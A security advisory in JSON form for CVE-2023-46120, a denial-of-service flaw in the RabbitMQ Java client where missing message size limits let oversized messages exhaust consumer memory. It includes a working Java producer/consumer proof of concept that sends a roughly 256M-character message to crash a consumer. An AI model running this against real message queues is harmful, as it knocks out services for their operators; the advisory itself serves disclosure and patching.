CVE-2023-46120: Amqp client Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mm8h-8587-p46h",
  "modified" : "2023-10-27T20:47:02Z",
  "published" : "2023-10-24T01:49:09Z",
  "aliases" : [ "CVE-2023-46120" ],
  "summary" : "RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack",
  "details" : "### Summary\n`maxBodyLebgth` was not used when receiving Message objects.  Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.\n\n### PoC\n#### RbbitMQ\n* Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)\n* Start RabbitMQ\n#### Producer\n* Build a String of length 256M and send it to Consumer\n```\n\npackage org.springframework.amqp.helloworld; \n\nimport org.springframework.amqp.core.AmqpTemplate; \nimport org.springframework.context.ApplicationContext; \nimport org.springframework.context.annotation.AnnotationConfigApplicationContext; \n\npublic class Producer {\n    public static void main(String[] args) {\n        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);\n        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); \n        String s = \"A\";\n        for(int i=0;i<28;++i){\n            s = s + s;\n            System.out.println(i);\n        }\n        amqpTemplate.convertAndSend(s);\n        System.out.println(\"Send Finish\");\n    }\n }\n```\n\n#### Consumer\n* First set the heap memory size to 128M\n* Read the message sent by the Producer from the MQ and print the length\n```\npackage org.springframework.amqp.helloworld;\n\nimport org.springframework.amqp.core.AmqpTemplate;\nimport org.springframework.amqp.core.Message;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.annotation.AnnotationConfigApplicationContext;\n\npublic class Consumer {\n    \n    public static void main(String[] args) {\n        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);\n        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);\n        Object o = amqpTemplate.receiveAndConvert();\n        if(o != null){\n            String s = o.toString();\n            System.out.println(\"Received Length : \" + s.length());\n        }else{\n            System.out.println(\"null\");\n        }\n    }\n}\n```\n#### Results\n* Run the Producer first, then the Consumer\n* Consumer throws OOM Exception\n\n\n### Impact\nUsers of RabbitMQ may suffer from  DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.rabbitmq:amqp-client"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.18.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-mm8h-8587-p46h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-46120"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rabbitmq/rabbitmq-java-client/issues/1062"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rabbitmq/rabbitmq-java-client/commit/714aae602dcae6cb4b53cadf009323ebac313cc8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rabbitmq/rabbitmq-java-client"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.18.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-10-24T01:49:09Z",
    "nvd_published_at" : "2023-10-25T18:17:36Z"
  }
}